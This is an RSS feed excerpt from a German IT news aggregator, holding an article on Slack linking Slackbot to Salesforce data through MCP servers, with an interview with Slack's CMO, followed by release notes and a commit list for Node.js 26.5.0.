<guid isPermaLink="true">https://tsecurity.de/de/3654241/it-nachrichten/slacks-slackbot-can-now-pull-your-crm-data-generate-charts-and-send-docusigns-all-from-a-chat-message/</guid>
<pubDate>Wed, 08 Jul 2026 14:18:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Five years and $27.7 billion after Salesforce acquired Slack, the two products are finally starting to function as a single system. On Tuesday, <a href="https://slack.com/">Slack</a> launched an integration that connects <a href="https://slack.com/features/slackbot">Slackbot</a> — the personal AI agent built into every workspace — to the entire Salesforce platform, including CRM data, Tableau analytics, Data 360 customer profiles, and a growing constellation of third-party applications, all through a single conversational prompt.</p><p>The mechanism behind the expansion is a set of dedicated <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol (MCP)</a> servers from Salesforce that connect Slackbot to the company's <a href="https://venturebeat.com/technology/salesforce-launches-headless-360-to-turn-its-entire-platform-into-infrastructure-for-ai-agents">Headless 360 infrastructure</a>. In practical terms, a salesperson can now ask Slackbot for a customer's deal history, receive a live Tableau visualization of pipeline trends, update a CRM record, and trigger a DocuSign approval — without ever switching tabs or logging into another application. According to Slack, the Salesforce IT team has already used this architecture to save its 1,500-plus engineers "thousands of custom coding hours annually."</p><p>The timing is not accidental. Slack is making this move amid escalating competitive pressure from Microsoft Teams, which claims <a href="https://techcommunity.microsoft.com/discussions/microsoftteams/teams-grows-to-320-million-monthly-active-users/3964746">320 million-plus monthly active users</a> and has Copilot embedded across the Office suite, and from Google, which continues to weave <a href="https://www.computerworld.com/article/4143838/google-embeds-gemini-ai-deeper-into-workspace-apps.html">Gemini deeper into Workspace</a>. And just days ago, The Information reported that some smaller companies are using Anthropic's Claude to r<a href="https://www.theinformation.com/articles/small-firms-use-claude-quit-salesforce">eplace Salesforce CRM entirely</a> — one Atlanta-based property management firm with about 55 employees reportedly saved around $100,000 annually by building a custom replacement using Claude Code and Replit.</p><p>Against that backdrop, Slack CMO Ryan Gavin sat down for an exclusive interview with VentureBeat to frame the announcement and argue that the company's future depends on an idea he calls "multiplayer AI" — and that the 25 years of customer data locked inside Salesforce is an asset no vibe-coded alternative can replicate.</p><h2><b>Why Slack's CMO believes 'multiplayer AI' is the next big enterprise battleground</b></h2><p>Gavin's core argument is that the enterprise AI conversation has been stuck in single-player mode for too long, and that Slack is uniquely positioned to break it open.</p><p>"So much of what we've seen are just these incredible tools that have largely been single-player, incredible tools for individual productivity, helping people complete tasks and write code," Gavin told VentureBeat. "But as we've always known at Slack ever since our inception, work is a team sport. For AI to really take hold in the enterprise, it has to be multiplayer."</p><p>The distinction matters commercially. Most AI assistants today — ChatGPT, Claude, Copilot — default to one-on-one conversations with a single user. A researcher queries a model, gets a response, and acts on it alone. The insight stays in a private chat window, invisible to colleagues. Gavin argues this creates a new version of the tab-switching problem that plagued pre-AI enterprise software, except now employees are also navigating dozens of individual agent interfaces on top of their existing applications.</p><p>"It's going to benefit almost no one if every enterprise application out there spawns hundreds of agent babies, and employees end up in a worse world than they were before," Gavin said.</p><p>Slack's answer is to make <a href="https://slack.com/features/slackbot">Slackbot</a> the orchestration layer. Because everything happens in shared channels, any action an agent takes — pulling a customer profile, flagging a deal risk, updating a Jira ticket — is visible to the entire team. A colleague can redirect, build on, or correct the agent's work in real time.</p><h2><b>How MCP and Salesforce's headless 360 platform power Slackbot's new capabilities</b></h2><p>The technical backbone of the announcement is the <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol</a>, an open standard originally developed by Anthropic that defines how AI models discover and invoke external tools. MCP has seen rapid adoption across the AI tooling ecosystem. By early 2026, it had been adopted by <a href="https://claude.com/product/claude-code">Claude Code</a>, <a href="https://cursor.com/">Cursor</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and OpenAI's tooling, with managed hosting available from <a href="https://aws.amazon.com/">AWS</a>, <a href="https://www.cloudflare.com/">Cloudflare</a>, and <a href="https://vercel.com/">Vercel</a>. As a <a href="https://dev.to/swrly/model-context-protocol-mcp-explained-why-it-matters-in-2026-1c7i">DEV Community explainer</a> puts it, MCP "is the closest thing the AI tooling ecosystem has to a standard."</p><p>In this implementation, Salesforce exposes its platform capabilities — CRM records, Tableau visualizations, Data 360 customer profiles, Agentforce agents — as MCP servers. Slackbot operates as an MCP client, connecting to those servers and routing user queries to the appropriate back-end system. When a user asks Slackbot about a customer, the bot discovers which MCP tools are relevant, calls them, and synthesizes the results into a single response — all within the Slack conversation.</p><p>Gavin explained the architecture in simple terms: "Salesforce is extending what has always been our open platform through our Headless 360 strategy — making all of these MCP endpoints available. And then Slackbot acts as an MCP client, connecting to those MCP servers and bringing all that data in within the confines of a trusted permission platform."</p><p>That permission layer is critical. Slackbot respects each user's Salesforce permissions, meaning a marketing coordinator cannot accidentally access sales pipeline data they are not authorized to see. Validation rules, field-level security, and org-wide data boundary configurations carry over automatically. For admins, setup requires no custom integration code — Salesforce MCP servers can be discovered, installed, and governed from a single UI using the existing Slack-Salesforce connection.</p><p>Salesforce first introduced the <a href="https://venturebeat.com/technology/salesforce-launches-headless-360-to-turn-its-entire-platform-into-infrastructure-for-ai-agents">Headless 360</a> concept at its <a href="https://www.salesforce.com/tdx/">TDX developer conference</a> in April, positioning it as an API-driven layer that exposes the platform's data, workflows, and governance controls so that software agents, rather than human users, can execute business processes directly. As <a href="http://cio.com/">CIO.com reported</a> at the time, analysts viewed the move as an effort by Salesforce "to position itself as a central layer for managing agent-driven operations across different business functions."</p><h2><b>Slack says it's betting on openness, not on any single AI protocol</b></h2><p>When asked whether Slack is making a risky bet on MCP as a protocol — given that standards in AI tooling can shift rapidly — Gavin reframed the question entirely.</p><p>"We're not betting on MCP, per se. We're betting on what we've always bet on, which is that Slack is an open platform," Gavin told VentureBeat. "MCP happens to be the best agent-to-agent protocol that the industry is rallying around right now, but if something better came out tomorrow, you'd see the same pattern from Slack — we're going to stay open. MCP and APIs are simply tools that facilitate that."</p><p>That open-platform philosophy is central to Slack's identity and, Gavin argues, its competitive differentiation. Slack already hosts <a href="https://slack.com/resources/why-use-slack/what-is-slack-and-how-does-it-work">more than 2,600 app integrations</a>. The new MCP-native partner ecosystem includes <a href="https://www.atlassian.com/">Atlassian</a>, <a href="https://www.box.com/home">Box</a>, <a href="https://www.docusign.com/">DocuSign</a>, <a href="https://www.canva.com/">Canva</a>, <a href="https://lucid.co/">Lucid</a>, <a href="https://www.zoom.com/">Zoom</a>, and more than 25 additional companies, each of whose agents can be added directly to shared Slack channels. <a href="https://www.mulesoft.com/">MuleSoft Agent</a>, now connected to Slackbot, helps manage integrations for the team — checking system health or surfacing critical error alerts in the same workspace where the team is already collaborating.</p><p>But MCP is not without trade-offs. The protocol requires tool discovery on every connection, and large tool libraries can consume significant context tokens. One technical analysis noted that a server exposing 300 tools could cost 5,000 to 10,000 tokens per session before the model does any useful work. For an enterprise like Salesforce with hundreds of potential tools across CRM, analytics, and service platforms, careful filtering and segmentation of MCP servers become essential design decisions — a challenge the company will need to navigate as the ecosystem scales.</p><h2><b>Inside Slack's complicated relationship with Anthropic and the Claude question</b></h2><p>Perhaps the most delicate topic in the interview concerned Slack's relationship with Anthropic, the AI lab behind Claude — and one of Slack's most visible power users. Just last week, <a href="https://venturebeat.com/technology/anthropic-launches-claude-tag-replacing-its-slack-app-with-a-persistent-ai-teammate-that-learns-monitors-and-works-autonomously">Anthropic launched Claude Tag</a>, a persistent AI teammate that works inside Slack channels, prompting confusion among Salesforce employees who worried it competes directly with Slackbot and Agentforce. The Information reported <a href="https://www.theinformation.com/articles/salesforce-employees-worry-anthropics-invasion-slack">internal anxiety</a> about whether Salesforce was welcoming a competitor into its own living room. Salesforce has financial reasons to maintain the partnership: the company reportedly expects to spend $300 million on Anthropic tokens this year and holds a stake in Anthropic.</p><p>Gavin addressed the tension head-on, framing it as a feature of Slack's platform strategy rather than a threat.</p><p>"We're incredibly excited and bullish about what Anthropic is bringing into Slack. Period. End of statement," Gavin said. He noted that Anthropic "is building roughly 65% of their code with Claude in Slack," and pointed out that ChatGPT was originally built in Slack, as was Perplexity.</p><p>"Building nowadays happens in the open, and every company is going to be building in the open with tools like this, and you need a platform to build in the open," Gavin said.</p><p>His argument is that feature overlap between <a href="https://slack.com/features/slackbot">Slackbot</a>, <a href="https://www.anthropic.com/news/introducing-claude-tag">Claude Tag</a>, and other third-party agents is "actually a feature, not a bug" — a sign of a healthy platform rather than a competitive vulnerability. He compared it to an ecosystem where multiple products serve similar needs but win on craftsmanship, ease of use, and integration depth.</p><p>"One of the reasons Slackbot has been the fastest-adopted feature in Salesforce history is the simplicity, the approachability — underpinned by the trust that comes from having an agent that knows me, knows my tone, knows my work, knows my people, knows my data," Gavin said.</p><p>The distinction Slack draws is structural: Slackbot has access to a user's full workspace context, Salesforce data, permissions, and connected applications by default. Claude Tag, by contrast, only sees the channels it is explicitly added to. For Slack's leadership, that asymmetry is the moat.</p><h2><b>How Slack plans to compete with Microsoft Teams and Google in the AI era</b></h2><p>Asked directly about competitive positioning against <a href="https://www.microsoft.com/en-us/microsoft-teams/log-in">Microsoft Teams</a> and <a href="https://workspace.google.com/">Google Workspace</a>, Gavin pointed to Slack's open channel architecture as the differentiator no competitor can replicate.</p><p>"If you spend any time in Teams, it's a lovely tool for chat, direct messages, and video, but it has no platform for open communication across organizations," Gavin said. "Its SharePoint-based architecture is fundamentally limiting."</p><p>He cited <a href="https://www.shopify.com/">Shopify</a> as an example, where an internal AI agent called <a href="https://www.ashgaliyev.com/shopify-river.html">River</a> is deployed across approximately 4,400 channels serving 6,000 employees. He also referenced a <a href="https://fortune.com/2026/06/27/microsoft-copilot-boss-jacob-andreou-tapped-by-satya-nadella-to-save-ai-strategy/">Fortune report</a> noting that Microsoft's own head of AI mandated that his team run on Slack rather than Teams — a pointed detail Gavin clearly relished. "There's a reason for that," he said. "We're in an era right now where openness matters, and all the other tools you mentioned, they're still relatively closed."</p><p>The competitive pressure is real and intensifying. Microsoft has integrated Copilot across its entire productivity suite, giving it a distribution advantage that reaches virtually every Fortune 500 company. Google has been similarly aggressive with Gemini across Workspace. And new entrants are crowding the market: a startup called <a href="https://viktor.com/hire-an-ai-employee?gad_source=1&amp;gad_campaignid=23610878065&amp;gbraid=0AAAABC9uvB--JiQPb5do0TpcAnPyKB3Gz&amp;gclid=CjwKCAjwx7LSBhB3EiwAjcodxAmoASmBycYGHkrfafr1WOuFKNG5AQYQLWLmYZLmc1diiKMM0wOKARoCa1sQAvD_BwE">Viktor</a>, which embeds AI agents inside Slack and Teams workspaces, recently raised a <a href="https://viktor.com/blog/viktor-series-a">$75 million Series A</a> led by Accel — with Slack cofounders Stewart Butterfield and Cal Henderson participating as angel investors.</p><p><a href="https://www.box.com/home">Box</a>, one of the enterprise customers highlighted in the announcement, told Slack it aims to have its sellers complete 75 to 80 percent of their work inside Slack. Gavin repeated that figure as evidence that the platform is becoming the default workspace for entire organizations, not just engineering teams — a shift he believes accelerates as AI makes every employee a builder.</p><h2><b>Slack's biggest long-term play is making Salesforce's CRM useful to everyone in the company</b></h2><p>Gavin saved what he considers the most underappreciated element of the announcement for last: the democratization of Salesforce's CRM.</p><p>For 25 years, Salesforce's CRM has been used primarily by sales, service, and marketing professionals — a relatively modest percentage of a company's total workforce. The promise of Slackbot as a conversational interface is that any employee, regardless of their role or technical fluency, can now query and act on CRM data simply by asking a question in natural language.</p><p>"What most people don't realize is that this democratization of CRM is going to take its usage from a modest percentage of employees to the entire enterprise," Gavin said. "When you can make systems like Data 360 or Agentforce for Sales accessible to the entire employee base — not just a percentage — think about how much more valuable those investments become."</p><p>He cited <a href="https://engine.com/">Engine</a>, a company that handles 800,000 customer inquiries a year, as an example. Previously, answering a customer inquiry required a specific employee with access to a specific tool to look up a customer's history. Now, anyone in the company can ask Slackbot and see a complete customer profile, review case history, and write updates — all without being retrained or learning a new interface. Engine's CEO Elia Wallen, in a statement sent to VentureBeat, described the integration as enabling employees to "make data-driven decisions and take action without leaving the conversation."</p><p>The financial logic is straightforward: if Salesforce can make its platform useful to 100 percent of a customer's workforce rather than the 20 or 30 percent who currently hold licenses, the value of the existing Salesforce investment multiplies without requiring a proportional increase in spending. That pitch becomes especially potent at a time when CIOs are scrutinizing every line of their AI budgets.</p><h2><b>What analysts and CIOs should watch as Slack rolls out its biggest AI update yet</b></h2><p>The announcement is a significant architectural evolution for Slack, but several questions remain unanswered.</p><p>First, pricing. The company did not directly address whether Slackbot's MCP-powered Salesforce integration will require additional SKUs or license tiers. As Info-Tech Research Group analyst Scott Bickley <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">cautioned</a> when Headless 360 was first announced in April, "Salesforce's MO seems to be to announce new capabilities that require SKUs. CIOs should be asking about pricing now."</p><p>Second, performance. Routing user queries through MCP servers to Salesforce back-end systems introduces latency that could affect the conversational feel Slack prides itself on. Neither the press release nor the interview disclosed SLAs for MCP tool calls — a gap that enterprise buyers will want addressed.</p><p>Third, the competitive dynamics of the platform play. Slack's open-platform philosophy invites powerful partners like <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a> into its ecosystem, but those same partners are building their own surfaces for enterprise work. Anthropic reportedly plans to expand Claude Tag to Microsoft Teams, email, and other project management tools — meaning the partner Salesforce is paying hundreds of millions a year is building the infrastructure to be useful without Slack at all.</p><p>And fourth, the broader existential question facing all enterprise software: whether AI agents will ultimately reduce the need for CRM systems entirely. Gavin's pitch — that Slack makes CRM more valuable by making it more accessible — is the inverse of the bear case. The market will ultimately decide which thesis prevails.</p><p>Salesforce reported record first-quarter revenue of <a href="https://investor.salesforce.com/news/news-details/2026/Salesforce-Delivers-Record-First-Quarter-Fiscal-2027-Results/default.aspx">$11.1 billion in fiscal Q1 2027</a>, with <a href="https://investor.salesforce.com/news/news-details/2026/Salesforce-Delivers-Record-First-Quarter-Fiscal-2027-Results/default.aspx">Agentforce ARR surpassing $1 billion</a> for the first time and combined AI and data ARR reaching $3.4 billion. Those numbers suggest the AI strategy is beginning to generate real revenue, even as the company navigates a market that remains uncertain about the long-term trajectory of legacy enterprise software.</p><p>"Slack has quickly moved from this beloved collaboration tool from the last ten years to now this multiplayer AI platform that we call a work operating system," Gavin said.</p><p>Five years ago, <a href="https://www.cnbc.com/2020/12/01/salesforce-buys-slack-for-27point7-billion-in-cloud-companys-largest-deal.html">Salesforce paid $27.7 billion</a> for what was, at its core, a very good group chat application. On Wednesday, it started trying to prove that group chat was never the product — it was the foundation. In the age of AI agents, the most valuable real estate in enterprise software may not be the database where the data lives. It may be the conversation where the decisions get made.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-07-08, Version 26.5.0 (Current), @richardlau]]></title>
<description><![CDATA[Notable Changes
New release key
Welcome to our newest releaser, Stewart X Addison. Future Node.js releases may be signed with his release key, 655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD.
Other notable changes

[55f48446c7] - (SEMVER-MINOR) buffer: implement blob.textStream() (Matthew Aitken) #64036...]]></description>
<link>https://tsecurity.de/de/3654192/downloads/2026-07-08-version-2650-current-richardlau/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654192/downloads/2026-07-08-version-2650-current-richardlau/</guid>
<pubDate>Wed, 08 Jul 2026 14:01:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<h4>New release key</h4>
<p>Welcome to our newest releaser, <a href="https://github.com/sxa">Stewart X Addison</a>. Future Node.js releases may be signed with his <a href="https://github.com/nodejs/node/blob/main/README.md#release-keys">release key</a>, <code>655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD</code>.</p>
<h4>Other notable changes</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/55f48446c7"><code>55f48446c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b373202efc"><code>b373202efc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e0c14455"><code>39e0c14455</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999a83c937"><code>999a83c937</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e0236dc3d"><code>4e0236dc3d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/87648c0a6c"><code>87648c0a6c</code></a>] - <strong>benchmark</strong>: trim down the argon2 sets (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64218/hovercard">#64218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a483bfd3f0"><code>a483bfd3f0</code></a>] - <strong>buffer</strong>: remove unreachable overflow check in atob (haramjeong) <a href="https://github.com/nodejs/node/pull/60161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60161/hovercard">#60161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d14279688"><code>6d14279688</code></a>] - <strong>buffer</strong>: add fast api for isUtf8 and isAscii (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/64169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64169/hovercard">#64169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55f48446c7"><code>55f48446c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a67d9a7a44"><code>a67d9a7a44</code></a>] - <strong>build</strong>: allow linting node.1 (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64157" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64157/hovercard">#64157</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06c1fbc25b"><code>06c1fbc25b</code></a>] - <strong>build</strong>: enable Maglev for riscv64 (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62605/hovercard">#62605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/518309c363"><code>518309c363</code></a>] - <strong>build</strong>: suppress clang errors building libffi on Windows (René) <a href="https://github.com/nodejs/node/pull/64222" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64222/hovercard">#64222</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6a80ab485c"><code>6a80ab485c</code></a>] - <strong>build</strong>: add manually-dispatched stress-test workflow (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64118" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64118/hovercard">#64118</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4e7bf1f1c"><code>f4e7bf1f1c</code></a>] - <strong>build</strong>: pin envinfo versions in github actions (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64117" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64117/hovercard">#64117</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66f6ac0d86"><code>66f6ac0d86</code></a>] - <strong>build</strong>: support setting an emulator from configure script (Ivan Trubach) <a href="https://github.com/nodejs/node/pull/53899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53899/hovercard">#53899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f26c54aa6"><code>7f26c54aa6</code></a>] - <strong>child_process</strong>: fix permission model propagation via NODE_OPTIONS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63972" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63972/hovercard">#63972</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32bb554f5b"><code>32bb554f5b</code></a>] - <strong>crypto</strong>: fix large DH generator validation (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64092/hovercard">#64092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0908d76ef6"><code>0908d76ef6</code></a>] - <strong>crypto</strong>: reject small-order EdDSA points during verify (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64026/hovercard">#64026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f7e5863c2"><code>7f7e5863c2</code></a>] - <strong>deps</strong>: update undici to 8.7.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64282" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64282/hovercard">#64282</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af91029801"><code>af91029801</code></a>] - <strong>deps</strong>: update nghttp3 to 1.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64182" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64182/hovercard">#64182</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e500ba7b0"><code>2e500ba7b0</code></a>] - <strong>deps</strong>: update googletest to 8b53336594cc52213c6c2c7a0b29194fa896d039 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64181" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64181/hovercard">#64181</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/74e3aa24ba"><code>74e3aa24ba</code></a>] - <strong>deps</strong>: update sqlite to 3.53.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64180/hovercard">#64180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7e57f55a7"><code>c7e57f55a7</code></a>] - <strong>deps</strong>: c-ares: cherry-pick 8ba37af8e3fb (René) <a href="https://github.com/nodejs/node/pull/64110" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64110/hovercard">#64110</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/879fdc4daf"><code>879fdc4daf</code></a>] - <strong>deps</strong>: V8: backport da20a197a7f9 (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a640543a7c"><code>a640543a7c</code></a>] - <strong>deps</strong>: V8: cherry-pick 0cc9eb22c0b0 (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/feefd179e5"><code>feefd179e5</code></a>] - <strong>deps</strong>: V8: cherry-pick 1a391f98cc7a (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ef643d4b0"><code>8ef643d4b0</code></a>] - <strong>deps</strong>: update googletest to 0b1e895ba4226c2fda5ee0178c9b5b1195a741aa (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64039" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64039/hovercard">#64039</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e50bb0655"><code>9e50bb0655</code></a>] - <strong>dgram</strong>: skip dns.lookup() for literal IP addresses (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/64133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64133/hovercard">#64133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc052c095c"><code>dc052c095c</code></a>] - <strong>diagnostics_channel</strong>: return original thenable (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/62407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62407/hovercard">#62407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a22a840293"><code>a22a840293</code></a>] - <strong>doc</strong>: clarify QUIC stream state wording (EduardF1) <a href="https://github.com/nodejs/node/pull/63660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63660/hovercard">#63660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d4bec2d71"><code>8d4bec2d71</code></a>] - <strong>doc</strong>: update Http2SecureServer.on("timeout") default value (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/64187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64187/hovercard">#64187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da88f70afa"><code>da88f70afa</code></a>] - <strong>doc</strong>: add note on visibility of CI failures to new contributor guide (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64256/hovercard">#64256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20ce359ccb"><code>20ce359ccb</code></a>] - <strong>doc</strong>: clarify HTTP/1.1 response ordering (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64213/hovercard">#64213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/05eae2835c"><code>05eae2835c</code></a>] - <strong>doc</strong>: recommend node-stress-single-test for flaky tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64223" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64223/hovercard">#64223</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3966eb67e7"><code>3966eb67e7</code></a>] - <strong>doc</strong>: fix typo in examples (Vas Sudanagunta) <a href="https://github.com/nodejs/node/pull/64184" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64184/hovercard">#64184</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12a2b9daa3"><code>12a2b9daa3</code></a>] - <strong>doc</strong>: fix typo in node-config-schema.json (Hamid Reza Ghavami) <a href="https://github.com/nodejs/node/pull/64188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64188/hovercard">#64188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0854482671"><code>0854482671</code></a>] - <strong>doc</strong>: clarify defense-in-depth issues (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64215" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64215/hovercard">#64215</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef4915fc3a"><code>ef4915fc3a</code></a>] - <strong>doc</strong>: fix Fast FFI argument count in ffi.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63960/hovercard">#63960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2eed863c"><code>bb2eed863c</code></a>] - <strong>doc</strong>: add sxa GPG key (ed25519) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64193" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64193/hovercard">#64193</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7bf6e3a06"><code>b7bf6e3a06</code></a>] - <strong>doc</strong>: add guide and answers to FAQs for first-time contributors (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63685" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63685/hovercard">#63685</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff537ba858"><code>ff537ba858</code></a>] - <strong>doc</strong>: update <code>Http2Server.close</code> &amp; <code>Http2SecureServer.close</code> (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/63298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63298/hovercard">#63298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f3db304588"><code>f3db304588</code></a>] - <strong>doc</strong>: update list of people in <code>SECURITY.md</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/64152" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64152/hovercard">#64152</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a126647b0"><code>2a126647b0</code></a>] - <strong>doc</strong>: clarify vfs is not a sandbox (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64143" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64143/hovercard">#64143</a></li>
